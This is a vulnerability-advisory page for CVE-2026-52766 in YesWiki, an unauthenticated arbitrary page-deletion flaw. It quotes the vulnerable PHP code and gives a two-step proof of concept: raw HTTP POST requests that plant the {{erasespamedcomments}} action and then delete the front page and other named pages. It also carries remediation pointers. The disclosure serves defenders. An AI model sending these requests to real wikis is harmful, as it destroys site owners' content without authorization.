Skip to main content

YesWiki CVE-2026-52766

CRITICAL
Incorrect Default Permissions (CWE-276)
2026-07-09 https://github.com/YesWiki/yeswiki GHSA-6x7x-gcmf-7r8x
9.1
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
vuln.today AI
9.1 CRITICAL

Default install (default_write_acl='*') makes it network-reachable and unauthenticated (PR:N/AC:L); no data disclosure (C:N) but unconditional page deletion yields high integrity and availability impact.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

Lifecycle Timeline

1
Analysis Generated
Jul 09, 2026 - 21:26 vuln.today

DescriptionGitHub Advisory

Summary

The {{erasespamedcomments}} wiki action (actions/EraseSpamedCommentsAction.php) accepts a suppr[] array from POST and deletes every wiki page whose tag appears in that array, with no authorization check anywhere in the action body or in the page-deletion path it invokes. Combined with YesWiki's allow-by-default action ACL model, any user who has page write access, which is the default for everyone (default_write_acl='*') on a fresh install can permanently delete arbitrary wiki pages, including the front page, admin pages, and pages owned by other users.

The action's delete() callee is PageManager::deleteOrphaned(), which despite its name does not check whether the target page is orphaned: it issues an unconditional DELETE against pages, links, acls, triples, referrers, and tags tables.

Details

Three issues compose the vulnerability.

  1. actions/EraseSpamedCommentsAction.php performs no authorization check before processing $_POST['clean'] / $_POST['suppr'][] in actions/EraseSpamedCommentsAction.php:
php
   public function run()
   {
       $wiki = &$this->wiki;
       ob_start();
       // ...
       elseif (isset($_POST['clean'])) {
           $deletedPages = '';
           if (!empty($_POST['suppr'])) {
               foreach ($_POST['suppr'] as $page) {
                   echo 'Effacement de : ' . $page . "<br />\n";
                   if ($wiki->services->get(PageController::class)->delete($page)) {
                       $deletedPages .= $page . ', ';
                   }
               }
           }

       }
   }

No UserIsAdmin(), no UserIsOwner(), no HasAccess('write', $page) per-target check, no CSRF token check.

  1. The default action ACL grants access to everyone in includes/YesWiki.php:
php
   $acl = empty($this->config['permissions'][$moduleType][$module])
       ? '*'
       : $this->config['permissions'][$moduleType][$module];
php
   if ($acl === null) { return true; }
   return $this->CheckACL($acl, $user);

No shipped permissions map gates erasespamedcomments to admins, so Performer::CheckModuleACL('erasespamedcomments', 'action') returns true for anonymous users.

  1. PageController::delete() and PageManager::deleteOrphaned() perform no authorization check and do not validate that the page is actually orphaned in includes/controllers/PageController.php:38-48:
php
   public function delete(string $tag): bool
   {
       if ($this->entryManager->isEntry($tag)) {
           return $this->entryController->delete($tag);
       } else {
           $this->pageManager->deleteOrphaned($tag);
           $this->wiki->LogAdministrativeAction(
               $this->authController->getLoggedUserName(),
               'Suppression de la page ->""' . $tag . '""'
           );
           return true;
       }
   }

in includes/services/PageManager.php:289-310:

php
   public function deleteOrphaned($tag)
   {
       if ($this->securityController->isWikiHibernated()) { throw new \Exception(_t('WIKI_IN_HIBERNATION')); }
       unset($this->ownersCache[$tag]);
       if (in_array($tag, $this->pageCache)) { unset($this->pageCache[$tag]); }
       $this->dbService->query("DELETE FROM ... WHERE tag='{$this->dbService->escape($tag)}' OR comment_on='{$this->dbService->escape($tag)}'");
       $this->dbService->query("DELETE FROM ...links... WHERE from_tag='{$this->dbService->escape($tag)}' ");
       $this->dbService->query("DELETE FROM ...acls... WHERE page_tag='{$this->dbService->escape($tag)}' ");
       // ...further unconditional DELETEs across triples, referrers, tags
   }

The companion isOrphaned() method (line 284) exists but is never called from deleteOrphaned(). The function name is misleading as it deletes any page, not just orphans.

PoC

Default fresh install where default_write_acl='*' (per includes/YesWikiInit.php:219), anonymous browsing.

  1. create a trigger page (anonymous)
http
POST /?wiki=SpamCleanup/edit HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded

body=%7B%7Berasespamedcomments%7D%7D&submit=1

This succeeds because the new page passes aclService->hasAccess('write', 'SpamCleanup') against default_write_acl='*'.

  1. trigger arbitrary page deletion (anonymous)
http
POST /?wiki=SpamCleanup HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded

clean=yes&suppr%5B0%5D=PagePrincipale&suppr%5B1%5D=AnotherTargetPage

Server response includes Effacement de : PagePrincipale and Effacement de : AnotherTargetPage. pages, links, acls, triples, referrers, and tags rows for those tags are deleted from the database.

Impact

Arbitrary page deletion, including the front page (PagePrincipale).

AnalysisAI

{{erasespamedcomments}} action, which processes a POST-supplied suppr[] array with no authorization, ownership, or CSRF check. On a default install where default_write_acl='*', an unauthenticated attacker first creates a page containing the action, then submits a cleanup request naming target page tags. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Reach exposed default YesWiki
Delivery
Create page with {{erasespamedcomments}} action
Exploit
POST clean=yes with suppr[] targets
Execution
Action skips all ACL/CSRF checks
Persist
deleteOrphaned() issues unconditional DELETEs
Impact
Front page and arbitrary pages permanently destroyed

Vulnerability AssessmentAI

Exploitation Exploitation requires the target YesWiki to expose the {{erasespamedcomments}} action and to run with the default action ACL (no permissions map entry for erasespamedcomments) plus default_write_acl='*', which is the state of a fresh install - under those defaults there are no special conditions and exploitation is remote and unauthenticated (AV:N/AC:L/PR:N/UI:N). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The signals are largely consistent toward high real-world risk on default installations. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario Against an internet-exposed default YesWiki, an anonymous attacker first POSTs a new page whose body is {{erasespamedcomments}} (permitted by default_write_acl='*'), then POSTs clean=yes with suppr[0]=PagePrincipale and additional target tags to that page. The server responds 'Effacement de : PagePrincipale' and permanently deletes the front page and any other named pages from the database. …
Remediation Upstream fix available (commit ed5b548a705c8091ba0282aaaba73ddda976abef); a released patched version is not independently confirmed from the provided data, so update to the latest YesWiki release that incorporates that commit and monitor advisory GHSA-6x7x-gcmf-7r8x (https://github.com/YesWiki/yeswiki/security/advisories/GHSA-6x7x-gcmf-7r8x) for the exact tagged version. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: Identify and inventory all instances of the affected product in production, especially those using default configurations (default_write_acl='*'). …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in PHP

View all
CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

CVE-2024-46506 CRITICAL POC
10.0 May 13

NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro

CVE-2024-8353 CRITICAL POC
9.8 Sep 28

The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all

Share

CVE-2026-52766 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy